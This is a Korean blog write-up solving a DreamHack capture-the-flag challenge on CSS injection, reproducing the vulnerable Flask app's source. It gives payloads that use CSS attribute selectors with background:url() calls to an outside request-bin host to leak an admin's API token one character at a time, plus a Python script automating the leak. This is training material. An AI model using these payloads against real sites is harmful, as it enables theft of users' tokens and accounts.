Web Hacking/DreamHack

[DreamHack] CSS Injection 풀이

프레딕 2024. 5. 3. 21:25
728x90
#!/usr/bin/python3
import hashlib, os, binascii, random, string
from flask import Flask, request, render_template, redirect, url_for, session, g, flash
from functools import wraps
import sqlite3
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from promise import Promise

app = Flask(__name__)
app.secret_key = os.urandom(32)

DATABASE = os.environ.get("DATABASE", "database.db")

try:
    FLAG = open("./flag.txt", "r").read().strip()
except:
    FLAG = "[**FLAG**]"

ADMIN_USERNAME = "administrator"
ADMIN_PASSWORD = binascii.hexlify(os.urandom(32))


def execute(query, data=()):
    con = sqlite3.connect(DATABASE)
    cur = con.cursor()
    cur.execute(query, data)
    con.commit()
    data = cur.fetchall()
    con.close()
    return data


def token_generate():
    while True:
        token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
        token_exists = execute(
            "SELECT * FROM users WHERE token = :token;", {"token": token}
        )
        if not token_exists:
            return token


def login_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        if session and session["uid"]:
            return view(**kwargs)
        flash("login first !")
        return redirect(url_for("login"))

    return wrapped_view


def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get("API-KEY", None)
        token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {"code": 401, "message": "Access Denined !"}

    return wrapped_view


@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, "_database", None)
    if db is not None:
        db.close()


@app.context_processor
def background_color():
    color = request.args.get("color", "white")
    return dict(color=color)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        return render_template("login.html")
    else:
        username = request.form.get("username")
        password = request.form.get("password")
        user = execute(
            "SELECT * FROM users WHERE username = :username and password = :password;",
            {
                "username": username,
                "password": hashlib.sha256(password.encode()).hexdigest(),
            },
        )

        if user:
            session["uid"] = user[0][0]
            session["username"] = user[0][1]
            return redirect(url_for("index"))

        flash("Wrong username or password !")
        return redirect(url_for("login"))


@app.route("/logout")
@login_required
def logout():
    session.clear()
    flash("Logout !")
    return redirect(url_for("index"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "GET":
        return render_template("register.html")
    else:
        username = request.form.get("username")
        password = request.form.get("password")

        user = execute(
            "SELECT * FROM users WHERE username = :username;", {"username": username}
        )
        if user:
            flash("Username already exists !")
            return redirect(url_for("register"))

        token = token_generate()
        sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
        execute(
            sql,
            {
                "username": username,
                "password": hashlib.sha256(password.encode()).hexdigest(),
                "token": token,
            },
        )
        flash("Register Success.")
        return redirect(url_for("login"))


@app.route("/mypage")
@login_required
def mypage():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": session["uid"]})
    return render_template("mypage.html", user=user[0])


@app.route("/memo", methods=["GET", "POST"])
@login_required
def memopage():
    if request.method == "GET":
        memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": session["uid"]})
        return render_template("memo.html", memos=memos)
    else:
        memo = request.form.get("memo")
        sql = "INSERT INTO memo(uid, text) VALUES(:uid, :text);"
        execute(sql, {"uid": session["uid"], "text": memo})
    return redirect(url_for("memopage"))


# report
@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        path = request.form.get("path")
        if not path:
            flash("fail.")
            return redirect(url_for("report"))

        if path and path[0] == "/":
            path = path[1:]

        url = f"http://127.0.0.1:8000/{path}"
        if check_url(url):
            flash("success.")
        else:
            flash("fail.")
        return redirect(url_for("report"))

    elif request.method == "GET":
        return render_template("report.html")


def check_url(url):
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
        driver_promise.then(
            driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
        )
        driver_promise.then(
            driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
        )
        driver_promise = Promise(driver.find_element(By.ID, "submit").click())
        driver_promise.then(driver.get(url))

    except Exception as e:
        driver.quit()
        return False
    finally:
        driver.quit()
    return True


# API
@app.route("/api/me")
@apikey_required
def APIme():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": request.uid})
    if user:
        return {"code": 200, "uid": user[0][0], "username": user[0][1]}
    return {"code": 500, "message": "Error !"}


@app.route("/api/memo")
@apikey_required
def APImemo():
    memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
    if memos:
        memo = []
        for tmp in memos:
            memo.append({"idx": tmp[0], "memo": tmp[2]})
        return {"code": 200, "memo": memo}

    return {"code": 500, "message": "Error !"}


# For Challenge
def init():
    execute("DROP TABLE IF EXISTS users;")
    execute(
        """
        CREATE TABLE users (
            uid INTEGER PRIMARY KEY,
            username TEXT NOT NULL UNIQUE,
            password TEXT NOT NULL,
            token TEXT NOT NULL UNIQUE
        );
    """
    )

    execute("DROP TABLE IF EXISTS memo;")
    execute(
        """
        CREATE TABLE memo (
            idx INTEGER PRIMARY KEY,
            uid INTEGER NOT NULL,
            text TEXT NOT NULL
        );
    """
    )

    # Add admin
    execute(
        "INSERT INTO users (username, password, token)"
        "VALUES (:username, :password, :token);",
        {
            "username": ADMIN_USERNAME,
            "password": hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
            "token": token_generate(),
        },
    )

    adminUid = execute(
        "SELECT * FROM users WHERE username = :username;", {"username": ADMIN_USERNAME}
    )

    # Add FLAG
    execute(
        "INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
        {"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
    )


with app.app_context():
    init()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

 

대충 소스코드를 보면 시작할 때, ADMIN아이디를 생성후 ADMIN 아이디로 flag를 memo한다.

그리고 문제 이름이 CSS Injection인 만큼 CSS Injection을 활용해야 하는데 소스코드를 보면은 background_color함수가 있다.

background_color 함수는 파라미터로 color를 받은다음 그 color를 background에 적용해준다.

예를 들어, color에 yellow를 인자로 주면은

배경이 yellow로 적용된걸 알 수 있다. 그리고 개발자도구로 확인해보면은

저 background-color: 뒤에 인자로 넘겨진 값이 적용되는걸 알 수 있다.

그렇다면은 저 인자값을 조작해서 css injection을 해볼 수 있을 것 같다.

 

다시 소스코드를 자세히보면은 token을 사용하여 memo의 값을 볼 수 있는 /api/memo 루트가 있다,

그리고 token은 mypage에서 확인할 수 있고 report 창에선 admin계정으로 get요청을 보낼 수 있다.

 

payload를 종합해보자면은, report창에서 css injection을 활용하여 admin의 mypage로 접속해 token을 탈취하고 header에 token을 넣어 /api/memo로 접속하면 flag를 획득 가능할 것이다.

 

css injection 중 input[value^="a"]{background:url("https://attack.com/a)} 이렇게 짜면은 input의 value값이 a로 시작하면은 attack.com/a로 url을 이동할 수 있는 공격이 있다.

이걸 활용해서 mypage의 token 값을 하나하나씩 탈취할 것이다.

token_generate()함수를 보면은 ascii_lowercase에서 8자리를 생성하는걸 알 수 있다.

mypage의 token은 

input에 id InputApitoken에 있다.

css에서 id까지 같이 뽑아올려면은 Input[id=""][value=""] 이렇게 뽑아오면 된다.

간단히 report창에 path값에 넣을 payload를 짜보면은 아래와 같다.

mypage?color=white;} input[id=InputApitoken][value^="a"] {background: url(https://bwqrwvn.request.dreamhack.games/a);

background : url뒤에 url은 dreamhack tools를 사용하여 만든 request bin이고 value에 a부터 시작해서 z까지 뽑아오고 또 다음값도 똑같이 뽑아오고 8번 반복하면 된다.

그리고 request bin에 /a 이렇게 보내면은 어디값이 해당되는지 알 수 있다.

from requests import post
import string

host = "http://host3.dreamhack.games:16319/report"

password = string.ascii_lowercase
pw = ""
i = 0

for bit in password:
    query = "mypage?color=white;} input[id=InputApitoken][value^="+bit+"] {background: url(https://iebstev.request.dreamhack.games/"+bit+");"  # 주석 띄어쓰기 이거 뒤에 %로 쓰니깐 %가 안먹히네
    data = {"path" : query}
    r = post(host, data = data)
    print(bit)

첫자리는 이렇게 뽑아오고

두번째 부터 bit에 앞에 구한 값들을 더해서 뽑아오면 token을 탈취 할 수 있을 것이다.

탈취한 token은 header에 넣어 /api/me로 보내면 flag를 확인 가능하다.

 

중간에 서버가 만료되면 다시해야되는 매우 화나는 문제이다.

계속 저 css injection도 큰따옴표를 url에 직접넣으면 얘를 html encoding 해버려서 값이 안나오기 때문에 payload에서 큰따옴표를 다 제거해줬다.

728x90
반응형